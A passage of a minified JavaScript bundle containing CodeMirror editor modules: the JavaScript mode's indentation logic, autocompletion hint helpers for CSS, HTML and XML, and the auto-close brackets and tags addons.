x(null,null,!1),indented:e||0};return n.globalVars&&"object"==typeof n.globalVars&&(t.globalVars=n.globalVars),t},token:function(e,t){if(e.sol()&&(t.lexical.hasOwnProperty("align")||(t.lexical.align=!1),t.indented=e.indentation(),y(e,t)),t.tokenize!=g&&e.eatSpace())return null;var n=t.tokenize(e,t);return"comment"==o?n:(t.lastType="operator"!=o||"++"!=r&&"--"!=r?o:"incdec",function(e,t,n,o,r){var i=e.cc;for(C.state=e,C.stream=r,C.marked=null,C.cc=i,C.style=t,e.lexical.hasOwnProperty("align")||(e.lexical.align=!0);;){var a=i.length?i.pop():l?W:R;if(a(n,o)){for(;i.length&&i[i.length-1].lex;)i.pop()();return C.marked?C.marked:"variable"==n&&w(e,o)?"variable-2":t}}}(t,n,o,r,e))},indent:function(t,o){if(t.tokenize==g||t.tokenize==v)return e.Pass;if(t.tokenize!=m)return 0;var r,s=o&&o.charAt(0),l=t.lexical;if(!/^\s*else\b/.test(o))for(var u=t.cc.length-1;u>=0;--u){var c=t.cc[u];if(c==F)l=l.prev;else if(c!=Oe)break}for(;("stat"==l.type||"form"==l.type)&&("}"==s||(r=t.cc[t.cc.length-1])&&(r==z||r==q)&&!/^[,\.=+\-*:?[\(]/.test(o));)l=l.prev;a&&")"==l.type&&"stat"==l.prev.type&&(l=l.prev);var d=l.type,f=s==d;return"vardef"==d?l.indented+("operator"==t.lastType||","==t.lastType?l.info.length+1:0):"form"==d&&"{"==s?l.indented:"form"==d?l.indented+i:"stat"==d?l.indented+(function(e,t){return"operator"==e.lastType||","==e.lastType||p.test(t.charAt(0))||/[,.]/.test(t.charAt(0))}(t,o)?a||i:0):"switch"!=l.info||f||0==n.doubleIndentSwitch?l.align?l.column+(f?0:1):l.indented+(f?0:i):l.indented+(/^(?:case|default)\b/.test(o)?i:2*i)},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:l?null:"/*",blockCommentEnd:l?null:"*/",blockCommentContinue:l?null:" * ",lineComment:l?null:"//",fold:"brace",closeBrackets:"()[]{}''\"\"``",helperType:l?"json":"javascript",jsonldMode:s,jsonMode:l,expressionAllowed:$e,skipExpression:function(e){var t=e.cc[e.cc.length-1];t!=W&&t!=V||e.cc.pop()}}}),e.registerHelper("wordChars","javascript",/[\w$]/),e.defineMIME("text/javascript","javascript"),e.defineMIME("text/ecmascript","javascript"),e.defineMIME("application/javascript","javascript"),e.defineMIME("application/x-javascript","javascript"),e.defineMIME("application/ecmascript","javascript"),e.defineMIME("application/json",{name:"javascript",json:!0}),e.defineMIME("application/x-json",{name:"javascript",json:!0}),e.defineMIME("application/ld+json",{name:"javascript",jsonld:!0}),e.defineMIME("text/typescript",{name:"javascript",typescript:!0}),e.defineMIME("application/typescript",{name:"javascript",typescript:!0})}(n(1276))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";var t="CodeMirror-hint",n="CodeMirror-hint-active";function o(e,t){this.cm=e,this.options=t,this.widget=null,this.debounce=0,this.tick=0,this.startPos=this.cm.getCursor("start"),this.startLen=this.cm.getLine(this.startPos.line).length-this.cm.getSelection().length;var n=this;e.on("cursorActivity",this.activityFunc=function(){n.cursorActivity()})}e.showHint=function(e,t,n){if(!t)return e.showHint(n);n&&n.async&&(t.async=!0);var o={hint:t};if(n)for(var r in n)o[r]=n[r];return e.showHint(o)},e.defineExtension("showHint",function(t){t=function(e,t,n){var o=e.options.hintOptions,r={};for(var i in c)r[i]=c[i];if(o)for(var i in o)void 0!==o[i]&&(r[i]=o[i]);if(n)for(var i in n)void 0!==n[i]&&(r[i]=n[i]);return r.hint.resolve&&(r.hint=r.hint.resolve(e,t)),r}(this,this.getCursor("start"),t);var n=this.listSelections();if(!(n.length>1)){if(this.somethingSelected()){if(!t.hint.supportsSelection)return;for(var r=0;r<n.length;r++)if(n[r].head.line!=n[r].anchor.line)return}this.state.completionActive&&this.state.completionActive.close();var i=this.state.completionActive=new o(this,t);i.options.hint&&(e.signal(this,"startCompletion",this),i.update(!0))}}),e.defineExtension("closeHint",function(){this.state.completionActive&&this.state.completionActive.close()});var r=window.requestAnimationFrame||function(e){return setTimeout(e,1e3/60)},i=window.cancelAnimationFrame||clearTimeout;function a(e){return"string"==typeof e?e:e.text}function s(e,t){for(;t&&t!=e;){if("LI"===t.nodeName.toUpperCase()&&t.parentNode==e)return t;t=t.parentNode}}function l(o,r){this.completion=o,this.data=r,this.picked=!1;var i=this,l=o.cm,u=l.getInputField().ownerDocument,c=u.defaultView||u.parentWindow,d=this.hints=u.createElement("ul"),p=o.cm.options.theme;d.className="CodeMirror-hints "+p,this.selectedHint=r.selectedHint||0;for(var f=r.list,h=0;h<f.length;++h){var m=d.appendChild(u.createElement("li")),g=f[h],v=t+(h!=this.selectedHint?"":" "+n);null!=g.className&&(v=g.className+" "+v),m.className=v,g.render?g.render(m,r,g):m.appendChild(u.createTextNode(g.displayText||a(g))),m.hintId=h}var b=o.options.container||u.body,y=l.cursorCoords(o.options.alignWithWord?r.from:null),_=y.left,k=y.bottom,w=!0,C=0,E=0;if(b!==u.body){var O=-1!==["absolute","relative","fixed"].indexOf(c.getComputedStyle(b).position),S=O?b:b.offsetParent,T=S.getBoundingClientRect(),M=u.body.getBoundingClientRect();C=T.left-M.left-S.scrollLeft,E=T.top-M.top-S.scrollTop}d.style.left=_-C+"px",d.style.top=k-E+"px";var x=c.innerWidth||Math.max(u.body.offsetWidth,u.documentElement.offsetWidth),P=c.innerHeight||Math.max(u.body.offsetHeight,u.documentElement.offsetHeight);b.appendChild(d);var j=d.getBoundingClientRect(),L=j.bottom-P,N=d.scrollHeight>d.clientHeight+1,D=l.getScrollInfo();if(L>0){var A=j.bottom-j.top,F=y.top-(y.bottom-j.top);if(F-A>0)d.style.top=(k=y.top-A-E)+"px",w=!1;else if(A>P){d.style.height=P-5+"px",d.style.top=(k=y.bottom-j.top-E)+"px";var I=l.getCursor();r.from.ch!=I.ch&&(y=l.cursorCoords(I),d.style.left=(_=y.left-C)+"px",j=d.getBoundingClientRect())}}var R,B=j.right-x;if(B>0&&(j.right-j.left>x&&(d.style.width=x-5+"px",B-=j.right-j.left-x),d.style.left=(_=y.left-B-C)+"px"),N)for(var W=d.firstChild;W;W=W.nextSibling)W.style.paddingRight=l.display.nativeBarWidth+"px";return l.addKeyMap(this.keyMap=function(e,t){var n={Up:function(){t.moveFocus(-1)},Down:function(){t.moveFocus(1)},PageUp:function(){t.moveFocus(1-t.menuSize(),!0)},PageDown:function(){t.moveFocus(t.menuSize()-1,!0)},Home:function(){t.setFocus(0)},End:function(){t.setFocus(t.length-1)},Enter:t.pick,Tab:t.pick,Esc:t.close};/Mac/.test(navigator.platform)&&(n["Ctrl-P"]=function(){t.moveFocus(-1)},n["Ctrl-N"]=function(){t.moveFocus(1)});var o=e.options.customKeys,r=o?{}:n;function i(e,o){var i;i="string"!=typeof o?function(e){return o(e,t)}:n.hasOwnProperty(o)?n[o]:o,r[e]=i}if(o)for(var a in o)o.hasOwnProperty(a)&&i(a,o[a]);var s=e.options.extraKeys;if(s)for(var a in s)s.hasOwnProperty(a)&&i(a,s[a]);return r}(o,{moveFocus:function(e,t){i.changeActive(i.selectedHint+e,t)},setFocus:function(e){i.changeActive(e)},menuSize:function(){return i.screenAmount()},length:f.length,close:function(){o.close()},pick:function(){i.pick()},data:r})),o.options.closeOnUnfocus&&(l.on("blur",this.onBlur=function(){R=setTimeout(function(){o.close()},100)}),l.on("focus",this.onFocus=function(){clearTimeout(R)})),l.on("scroll",this.onScroll=function(){var e=l.getScrollInfo(),t=l.getWrapperElement().getBoundingClientRect(),n=k+D.top-e.top,r=n-(c.pageYOffset||(u.documentElement||u.body).scrollTop);if(w||(r+=d.offsetHeight),r<=t.top||r>=t.bottom)return o.close();d.style.top=n+"px",d.style.left=_+D.left-e.left+"px"}),e.on(d,"dblclick",function(e){var t=s(d,e.target||e.srcElement);t&&null!=t.hintId&&(i.changeActive(t.hintId),i.pick())}),e.on(d,"click",function(e){var t=s(d,e.target||e.srcElement);t&&null!=t.hintId&&(i.changeActive(t.hintId),o.options.completeOnSingleClick&&i.pick())}),e.on(d,"mousedown",function(){setTimeout(function(){l.focus()},20)}),this.scrollToActive(),e.signal(r,"select",f[this.selectedHint],d.childNodes[this.selectedHint]),!0}function u(e,t,n,o){if(e.async)e(t,o,n);else{var r=e(t,n);r&&r.then?r.then(o):o(r)}}o.prototype={close:function(){this.active()&&(this.cm.state.completionActive=null,this.tick=null,this.cm.off("cursorActivity",this.activityFunc),this.widget&&this.data&&e.signal(this.data,"close"),this.widget&&this.widget.close(),e.signal(this.cm,"endCompletion",this.cm))},active:function(){return this.cm.state.completionActive==this},pick:function(t,n){var o=t.list[n],r=this;this.cm.operation(function(){o.hint?o.hint(r.cm,t,o):r.cm.replaceRange(a(o),o.from||t.from,o.to||t.to,"complete"),e.signal(t,"pick",o),r.cm.scrollIntoView()}),this.close()},cursorActivity:function(){this.debounce&&(i(this.debounce),this.debounce=0);var e=this.startPos;this.data&&(e=this.data.from);var t=this.cm.getCursor(),n=this.cm.getLine(t.line);if(t.line!=this.startPos.line||n.length-t.ch!=this.startLen-this.startPos.ch||t.ch<e.ch||this.cm.somethingSelected()||!t.ch||this.options.closeCharacters.test(n.charAt(t.ch-1)))this.close();else{var o=this;this.debounce=r(function(){o.update()}),this.widget&&this.widget.disable()}},update:function(e){if(null!=this.tick){var t=this,n=++this.tick;u(this.options.hint,this.cm,this.options,function(o){t.tick==n&&t.finishUpdate(o,e)})}},finishUpdate:function(t,n){this.data&&e.signal(this.data,"update");var o=this.widget&&this.widget.picked||n&&this.options.completeSingle;this.widget&&this.widget.close(),this.data=t,t&&t.list.length&&(o&&1==t.list.length?this.pick(t,0):(this.widget=new l(this,t),e.signal(t,"shown")))}},l.prototype={close:function(){if(this.completion.widget==this){this.completion.widget=null,this.hints.parentNode.removeChild(this.hints),this.completion.cm.removeKeyMap(this.keyMap);var e=this.completion.cm;this.completion.options.closeOnUnfocus&&(e.off("blur",this.onBlur),e.off("focus",this.onFocus)),e.off("scroll",this.onScroll)}},disable:function(){this.completion.cm.removeKeyMap(this.keyMap);var e=this;this.keyMap={Enter:function(){e.picked=!0}},this.completion.cm.addKeyMap(this.keyMap)},pick:function(){this.completion.pick(this.data,this.selectedHint)},changeActive:function(t,o){if(t>=this.data.list.length?t=o?this.data.list.length-1:0:t<0&&(t=o?0:this.data.list.length-1),this.selectedHint!=t){var r=this.hints.childNodes[this.selectedHint];r&&(r.className=r.className.replace(" "+n,"")),(r=this.hints.childNodes[this.selectedHint=t]).className+=" "+n,this.scrollToActive(),e.signal(this.data,"select",this.data.list[this.selectedHint],r)}},scrollToActive:function(){var e=this.completion.options.scrollMargin||0,t=this.hints.childNodes[Math.max(0,this.selectedHint-e)],n=this.hints.childNodes[Math.min(this.data.list.length-1,this.selectedHint+e)],o=this.hints.firstChild;t.offsetTop<this.hints.scrollTop?this.hints.scrollTop=t.offsetTop-o.offsetTop:n.offsetTop+n.offsetHeight>this.hints.scrollTop+this.hints.clientHeight&&(this.hints.scrollTop=n.offsetTop+n.offsetHeight-this.hints.clientHeight+o.offsetTop)},screenAmount:function(){return Math.floor(this.hints.clientHeight/this.hints.firstChild.offsetHeight)||1}},e.registerHelper("hint","auto",{resolve:function(t,n){var o,r=t.getHelpers(n,"hint");if(r.length){var i=function(e,t,n){var o=function(e,t){if(!e.somethingSelected())return t;for(var n=[],o=0;o<t.length;o++)t[o].supportsSelection&&n.push(t[o]);return n}(e,r);!function r(i){if(i==o.length)return t(null);u(o[i],e,n,function(e){e&&e.list.length>0?t(e):r(i+1)})}(0)};return i.async=!0,i.supportsSelection=!0,i}return(o=t.getHelper(t.getCursor(),"hintWords"))?function(t){return e.hint.fromList(t,{words:o})}:e.hint.anyword?function(t,n){return e.hint.anyword(t,n)}:function(){}}}),e.registerHelper("hint","fromList",function(t,n){var o,r=t.getCursor(),i=t.getTokenAt(r),a=e.Pos(r.line,i.start),s=r;i.start<r.ch&&/\w/.test(i.string.charAt(r.ch-i.start-1))?o=i.string.substr(0,r.ch-i.start):(o="",a=r);for(var l=[],u=0;u<n.words.length;u++){var c=n.words[u];c.slice(0,o.length)==o&&l.push(c)}if(l.length)return{list:l,from:a,to:s}}),e.commands.autocomplete=e.showHint;var c={hint:e.hint.auto,completeSingle:!0,alignWithWord:!0,closeCharacters:/[\s()\[\]{};:>,]/,closeOnUnfocus:!0,completeOnSingleClick:!0,container:null,customKeys:null,extraKeys:null};e.defineOption("hintOptions",null)}(n(1276))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";var t={active:1,after:1,before:1,checked:1,default:1,disabled:1,empty:1,enabled:1,"first-child":1,"first-letter":1,"first-line":1,"first-of-type":1,focus:1,hover:1,"in-range":1,indeterminate:1,invalid:1,lang:1,"last-child":1,"last-of-type":1,link:1,not:1,"nth-child":1,"nth-last-child":1,"nth-last-of-type":1,"nth-of-type":1,"only-of-type":1,"only-child":1,optional:1,"out-of-range":1,placeholder:1,"read-only":1,"read-write":1,required:1,root:1,selection:1,target:1,valid:1,visited:1};e.registerHelper("hint","css",function(n){var o=n.getCursor(),r=n.getTokenAt(o),i=e.innerMode(n.getMode(),r.state);if("css"==i.mode.name){if("keyword"==r.type&&0=="!important".indexOf(r.string))return{list:["!important"],from:e.Pos(o.line,r.start),to:e.Pos(o.line,r.end)};var a=r.start,s=o.ch,l=r.string.slice(0,s-a);/[^\w$_-]/.test(l)&&(l="",a=s=o.ch);var u=e.resolveMode("text/css"),c=[],d=i.state.state;return"pseudo"==d||"variable-3"==r.type?p(t):"block"==d||"maybeprop"==d?p(u.propertyKeywords):"prop"==d||"parens"==d||"at"==d||"params"==d?(p(u.valueKeywords),p(u.colorKeywords)):"media"!=d&&"media_parens"!=d||(p(u.mediaTypes),p(u.mediaFeatures)),c.length?{list:c,from:e.Pos(o.line,a),to:e.Pos(o.line,s)}:void 0}function p(e){for(var t in e)l&&0!=t.lastIndexOf(l,0)||c.push(t)}})}(n(1276),n(1296))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";var t="ab aa af ak sq am ar an hy as av ae ay az bm ba eu be bn bh bi bs br bg my ca ch ce ny zh cv kw co cr hr cs da dv nl dz en eo et ee fo fj fi fr ff gl ka de el gn gu ht ha he hz hi ho hu ia id ie ga ig ik io is it iu ja jv kl kn kr ks kk km ki rw ky kv kg ko ku kj la lb lg li ln lo lt lu lv gv mk mg ms ml mt mi mr mh mn na nv nb nd ne ng nn no ii nr oc oj cu om or os pa pi fa pl ps pt qu rm rn ro ru sa sc sd se sm sg sr gd sn si sk sl so st es su sw ss sv ta te tg th ti bo tk tl tn to tr ts tt tw ty ug uk ur uz ve vi vo wa cy wo fy xh yi yo za zu".split(" "),n=["_blank","_self","_top","_parent"],o=["ascii","utf-8","utf-16","latin1","latin1"],r=["get","post","put","delete"],i=["application/x-www-form-urlencoded","multipart/form-data","text/plain"],a=["all","screen","print","embossed","braille","handheld","print","projection","screen","tty","tv","speech","3d-glasses","resolution [>][<][=] [X]","device-aspect-ratio: X/Y","orientation:portrait","orientation:landscape","device-height: [X]","device-width: [X]"],s={attrs:{}},l={a:{attrs:{href:null,ping:null,type:null,media:a,target:n,hreflang:t}},abbr:s,acronym:s,address:s,applet:s,area:{attrs:{alt:null,coords:null,href:null,target:null,ping:null,media:a,hreflang:t,type:null,shape:["default","rect","circle","poly"]}},article:s,aside:s,audio:{attrs:{src:null,mediagroup:null,crossorigin:["anonymous","use-credentials"],preload:["none","metadata","auto"],autoplay:["","autoplay"],loop:["","loop"],controls:["","controls"]}},b:s,base:{attrs:{href:null,target:n}},basefont:s,bdi:s,bdo:s,big:s,blockquote:{attrs:{cite:null}},body:s,br:s,button:{attrs:{form:null,formaction:null,name:null,value:null,autofocus:["","autofocus"],disabled:["","autofocus"],formenctype:i,formmethod:r,formnovalidate:["","novalidate"],formtarget:n,type:["submit","reset","button"]}},canvas:{attrs:{width:null,height:null}},caption:s,center:s,cite:s,code:s,col:{attrs:{span:null}},colgroup:{attrs:{span:null}},command:{attrs:{type:["command","checkbox","radio"],label:null,icon:null,radiogroup:null,command:null,title:null,disabled:["","disabled"],checked:["","checked"]}},data:{attrs:{value:null}},datagrid:{attrs:{disabled:["","disabled"],multiple:["","multiple"]}},datalist:{attrs:{data:null}},dd:s,del:{attrs:{cite:null,datetime:null}},details:{attrs:{open:["","open"]}},dfn:s,dir:s,div:s,dl:s,dt:s,em:s,embed:{attrs:{src:null,type:null,width:null,height:null}},eventsource:{attrs:{src:null}},fieldset:{attrs:{disabled:["","disabled"],form:null,name:null}},figcaption:s,figure:s,font:s,footer:s,form:{attrs:{action:null,name:null,"accept-charset":o,autocomplete:["on","off"],enctype:i,method:r,novalidate:["","novalidate"],target:n}},frame:s,frameset:s,h1:s,h2:s,h3:s,h4:s,h5:s,h6:s,head:{attrs:{},children:["title","base","link","style","meta","script","noscript","command"]},header:s,hgroup:s,hr:s,html:{attrs:{manifest:null},children:["head","body"]},i:s,iframe:{attrs:{src:null,srcdoc:null,name:null,width:null,height:null,sandbox:["allow-top-navigation","allow-same-origin","allow-forms","allow-scripts"],seamless:["","seamless"]}},img:{attrs:{alt:null,src:null,ismap:null,usemap:null,width:null,height:null,crossorigin:["anonymous","use-credentials"]}},input:{attrs:{alt:null,dirname:null,form:null,formaction:null,height:null,list:null,max:null,maxlength:null,min:null,name:null,pattern:null,placeholder:null,size:null,src:null,step:null,value:null,width:null,accept:["audio/*","video/*","image/*"],autocomplete:["on","off"],autofocus:["","autofocus"],checked:["","checked"],disabled:["","disabled"],formenctype:i,formmethod:r,formnovalidate:["","novalidate"],formtarget:n,multiple:["","multiple"],readonly:["","readonly"],required:["","required"],type:["hidden","text","search","tel","url","email","password","datetime","date","month","week","time","datetime-local","number","range","color","checkbox","radio","file","submit","image","reset","button"]}},ins:{attrs:{cite:null,datetime:null}},kbd:s,keygen:{attrs:{challenge:null,form:null,name:null,autofocus:["","autofocus"],disabled:["","disabled"],keytype:["RSA"]}},label:{attrs:{for:null,form:null}},legend:s,li:{attrs:{value:null}},link:{attrs:{href:null,type:null,hreflang:t,media:a,sizes:["all","16x16","16x16 32x32","16x16 32x32 64x64"]}},map:{attrs:{name:null}},mark:s,menu:{attrs:{label:null,type:["list","context","toolbar"]}},meta:{attrs:{content:null,charset:o,name:["viewport","application-name","author","description","generator","keywords"],"http-equiv":["content-language","content-type","default-style","refresh"]}},meter:{attrs:{value:null,min:null,low:null,high:null,max:null,optimum:null}},nav:s,noframes:s,noscript:s,object:{attrs:{data:null,type:null,name:null,usemap:null,form:null,width:null,height:null,typemustmatch:["","typemustmatch"]}},ol:{attrs:{reversed:["","reversed"],start:null,type:["1","a","A","i","I"]}},optgroup:{attrs:{disabled:["","disabled"],label:null}},option:{attrs:{disabled:["","disabled"],label:null,selected:["","selected"],value:null}},output:{attrs:{for:null,form:null,name:null}},p:s,param:{attrs:{name:null,value:null}},pre:s,progress:{attrs:{value:null,max:null}},q:{attrs:{cite:null}},rp:s,rt:s,ruby:s,s:s,samp:s,script:{attrs:{type:["text/javascript"],src:null,async:["","async"],defer:["","defer"],charset:o}},section:s,select:{attrs:{form:null,name:null,size:null,autofocus:["","autofocus"],disabled:["","disabled"],multiple:["","multiple"]}},small:s,source:{attrs:{src:null,type:null,media:null}},span:s,strike:s,strong:s,style:{attrs:{type:["text/css"],media:a,scoped:null}},sub:s,summary:s,sup:s,table:s,tbody:s,td:{attrs:{colspan:null,rowspan:null,headers:null}},textarea:{attrs:{dirname:null,form:null,maxlength:null,name:null,placeholder:null,rows:null,cols:null,autofocus:["","autofocus"],disabled:["","disabled"],readonly:["","readonly"],required:["","required"],wrap:["soft","hard"]}},tfoot:s,th:{attrs:{colspan:null,rowspan:null,headers:null,scope:["row","col","rowgroup","colgroup"]}},thead:s,time:{attrs:{datetime:null}},title:s,tr:s,track:{attrs:{src:null,label:null,default:null,kind:["subtitles","captions","descriptions","chapters","metadata"],srclang:t}},tt:s,u:s,ul:s,var:s,video:{attrs:{src:null,poster:null,width:null,height:null,crossorigin:["anonymous","use-credentials"],preload:["auto","metadata","none"],autoplay:["","autoplay"],mediagroup:["movie"],muted:["","muted"],controls:["","controls"]}},wbr:s},u={accesskey:["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"],class:null,contenteditable:["true","false"],contextmenu:null,dir:["ltr","rtl","auto"],draggable:["true","false","auto"],dropzone:["copy","move","link","string:","file:"],hidden:["hidden"],id:null,inert:["inert"],itemid:null,itemprop:null,itemref:null,itemscope:["itemscope"],itemtype:null,lang:["en","es"],spellcheck:["true","false"],autocorrect:["true","false"],autocapitalize:["true","false"],style:null,tabindex:["1","2","3","4","5","6","7","8","9"],title:null,translate:["yes","no"],onclick:null,rel:["stylesheet","alternate","author","bookmark","help","license","next","nofollow","noreferrer","prefetch","prev","search","tag"]};function c(e){for(var t in u)u.hasOwnProperty(t)&&(e.attrs[t]=u[t])}for(var d in c(s),l)l.hasOwnProperty(d)&&l[d]!=s&&c(l[d]);e.htmlSchema=l,e.registerHelper("hint","html",function(t,n){var o={schemaInfo:l};if(n)for(var r in n)o[r]=n[r];return e.hint.xml(t,o)})}(n(1276),n(1402))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){"use strict";var t=e.Pos;function n(e,t,n){return n?e.indexOf(t)>=0:0==e.lastIndexOf(t,0)}e.registerHelper("hint","xml",function(o,r){var i=r&&r.schemaInfo,a=r&&r.quoteChar||'"',s=r&&r.matchInMiddle;if(i){var l=o.getCursor(),u=o.getTokenAt(l);if(u.end>l.ch&&(u.end=l.ch,u.string=u.string.slice(0,l.ch-u.start)),(_=e.innerMode(o.getMode(),u.state)).mode.xmlCurrentTag){var c,d,p=[],f=!1,h=/\btag\b/.test(u.type)&&!/>$/.test(u.string),m=h&&/^\w/.test(u.string);if(m){var g=o.getLine(l.line).slice(Math.max(0,u.start-2),u.start),v=/<\/$/.test(g)?"close":/<$/.test(g)?"open":null;v&&(d=u.start-("close"==v?2:1))}else h&&"<"==u.string?v="open":h&&"</"==u.string&&(v="close");var b=_.mode.xmlCurrentTag(_.state);if(!h&&!b||v){m&&(c=u.string),f=v;var y=_.mode.xmlCurrentContext?_.mode.xmlCurrentContext(_.state):[],_=y.length&&y[y.length-1],k=_&&i[_],w=_?k&&k.children:i["!top"];if(w&&"close"!=v)for(var C=0;C<w.length;++C)c&&!n(w[C],c,s)||p.push("<"+w[C]);else if("close"!=v)for(var E in i)!i.hasOwnProperty(E)||"!top"==E||"!attrs"==E||c&&!n(E,c,s)||p.push("<"+E);_&&(!c||"close"==v&&n(_,c,s))&&p.push("</"+_+">")}else{var k=b&&i[b.name],O=k&&k.attrs,S=i["!attrs"];if(!O&&!S)return;if(O){if(S){var T={};for(var M in S)S.hasOwnProperty(M)&&(T[M]=S[M]);for(var M in O)O.hasOwnProperty(M)&&(T[M]=O[M]);O=T}}else O=S;if("string"==u.type||"="==u.string){var x,g=o.getRange(t(l.line,Math.max(0,l.ch-60)),t(l.line,"string"==u.type?u.start:u.end)),P=g.match(/([^\s\u00a0=<>\"\']+)=$/);if(!P||!O.hasOwnProperty(P[1])||!(x=O[P[1]]))return;if("function"==typeof x&&(x=x.call(this,o)),"string"==u.type){c=u.string;var j=0;/['"]/.test(u.string.charAt(0))&&(a=u.string.charAt(0),c=u.string.slice(1),j++);var L=u.string.length;if(/['"]/.test(u.string.charAt(L-1))&&(a=u.string.charAt(L-1),c=u.string.substr(j,L-2)),j){var N=o.getLine(l.line);N.length>u.end&&N.charAt(u.end)==a&&u.end++}f=!0}function D(e){if(e)for(var t=0;t<e.length;++t)c&&!n(e[t],c,s)||p.push(a+e[t]+a);return F()}return x&&x.then?x.then(D):D(x)}for(var A in"attribute"==u.type&&(c=u.string,f=!0),O)!O.hasOwnProperty(A)||c&&!n(A,c,s)||p.push(A)}return F()}}function F(){return{list:p,from:f?t(l.line,null==d?u.start:d):l,to:f?t(l.line,u.end):l}}})}(n(1276))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){var t={pairs:"()[]{}''\"\"",closeBefore:")]}'\":;>",triples:"",explode:"[]{}"},n=e.Pos;function o(e,n){return"pairs"==n&&"string"==typeof e?e:"object"==typeof e&&null!=e[n]?e[n]:t[n]}e.defineOption("autoCloseBrackets",!1,function(t,n,a){a&&a!=e.Init&&(t.removeKeyMap(r),t.state.closeBrackets=null),n&&(i(o(n,"pairs")),t.state.closeBrackets=n,t.addKeyMap(r))});var r={Backspace:function(t){var r=s(t);if(!r||t.getOption("disableInput"))return e.Pass;for(var i=o(r,"pairs"),a=t.listSelections(),u=0;u<a.length;u++){if(!a[u].empty())return e.Pass;var c=l(t,a[u].head);if(!c||i.indexOf(c)%2!=0)return e.Pass}for(var u=a.length-1;u>=0;u--){var d=a[u].head;t.replaceRange("",n(d.line,d.ch-1),n(d.line,d.ch+1),"+delete")}},Enter:function(t){var n=s(t),r=n&&o(n,"explode");if(!r||t.getOption("disableInput"))return e.Pass;for(var i=t.listSelections(),a=0;a<i.length;a++){if(!i[a].empty())return e.Pass;var u=l(t,i[a].head);if(!u||r.indexOf(u)%2!=0)return e.Pass}t.operation(function(){var e=t.lineSeparator()||"\n";t.replaceSelection(e+e,null),t.execCommand("goCharLeft"),i=t.listSelections();for(var n=0;n<i.length;n++){var o=i[n].head.line;t.indentLine(o,null,!0),t.indentLine(o+1,null,!0)}})}};function i(e){for(var t=0;t<e.length;t++){var n=e.charAt(t),o="'"+n+"'";r[o]||(r[o]=a(n))}}function a(t){return function(r){return function(t,r){var i=s(t);if(!i||t.getOption("disableInput"))return e.Pass;var a=o(i,"pairs"),l=a.indexOf(r);if(-1==l)return e.Pass;for(var c,d=o(i,"closeBefore"),p=o(i,"triples"),f=a.charAt(l+1)==r,h=t.listSelections(),m=l%2==0,g=0;g<h.length;g++){var v,b=h[g],y=b.head,_=t.getRange(y,n(y.line,y.ch+1));if(m&&!b.empty())v="surround";else if(!f&&m||_!=r)if(f&&y.ch>1&&p.indexOf(r)>=0&&t.getRange(n(y.line,y.ch-2),y)==r+r){if(y.ch>2&&/\bstring/.test(t.getTokenTypeAt(n(y.line,y.ch-2))))return e.Pass;v="addFour"}else if(f){var k=0==y.ch?" ":t.getRange(n(y.line,y.ch-1),y);if(e.isWordChar(_)||k==r||e.isWordChar(k))return e.Pass;v="both"}else{if(!m||!(0===_.length||/\s/.test(_)||d.indexOf(_)>-1))return e.Pass;v="both"}else v=f&&u(t,y)?"both":p.indexOf(r)>=0&&t.getRange(y,n(y.line,y.ch+3))==r+r+r?"skipThree":"skip";if(c){if(c!=v)return e.Pass}else c=v}var w=l%2?a.charAt(l-1):r,C=l%2?r:a.charAt(l+1);t.operation(function(){if("skip"==c)t.execCommand("goCharRight");else if("skipThree"==c)for(var o=0;o<3;o++)t.execCommand("goCharRight");else if("surround"==c){for(var r=t.getSelections(),o=0;o<r.length;o++)r[o]=w+r[o]+C;t.replaceSelections(r,"around"),r=t.listSelections().slice();for(var o=0;o<r.length;o++)r[o]=(i=r[o],a=void 0,a=e.cmpPos(i.anchor,i.head)>0,{anchor:new n(i.anchor.line,i.anchor.ch+(a?-1:1)),head:new n(i.head.line,i.head.ch+(a?1:-1))});t.setSelections(r)}else"both"==c?(t.replaceSelection(w+C,null),t.triggerElectric(w+C),t.execCommand("goCharLeft")):"addFour"==c&&(t.replaceSelection(w+w+w+w,"before"),t.execCommand("goCharRight"));var i,a})}(r,t)}}function s(e){var t=e.state.closeBrackets;if(!t||t.override)return t;var n=e.getModeAt(e.getCursor());return n.closeBrackets||t}function l(e,t){var o=e.getRange(n(t.line,t.ch-1),n(t.line,t.ch+1));return 2==o.length?o:null}function u(e,t){var o=e.getTokenAt(n(t.line,t.ch+1));return/\bstring/.test(o.type)&&o.start==t.ch&&(0==t.ch||!/\bstring/.test(e.getTokenTypeAt(t)))}i(t.pairs+"`")}(n(1276))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){e.defineOption("autoCloseTags",!1,function(a,s,l){if(l!=e.Init&&l&&a.removeKeyMap("autoCloseTags"),s){var u={name:"autoCloseTags"};"object"==typeof s&&!1===s.whenClosing||(u["'/'"]=function(t){return function(t){return t.getOption("disableInput")?e.Pass:o(t,!0)}(t)}),"object"==typeof s&&!1===s.whenOpening||(u["'>'"]=function(o){return function(o){if(o.getOption("disableInput"))return e.Pass;for(var a=o.listSelections(),s=[],l=o.getOption("autoCloseTags"),u=0;u<a.length;u++){if(!a[u].empty())return e.Pass;var c=a[u].head,d=o.getTokenAt(c),p=e.innerMode(o.getMode(),d.state),f=p.state,h=p.mode.xmlCurrentTag&&p.mode.xmlCurrentTag(f),m=h&&h.name;if(!m)return e.Pass;var g="html"==p.mode.configuration,v="object"==typeof l&&l.dontCloseTags||g&&t,b="object"==typeof l&&l.indentTags||g&&n;d.end>c.ch&&(m=m.slice(0,m.length-d.end+c.ch));var 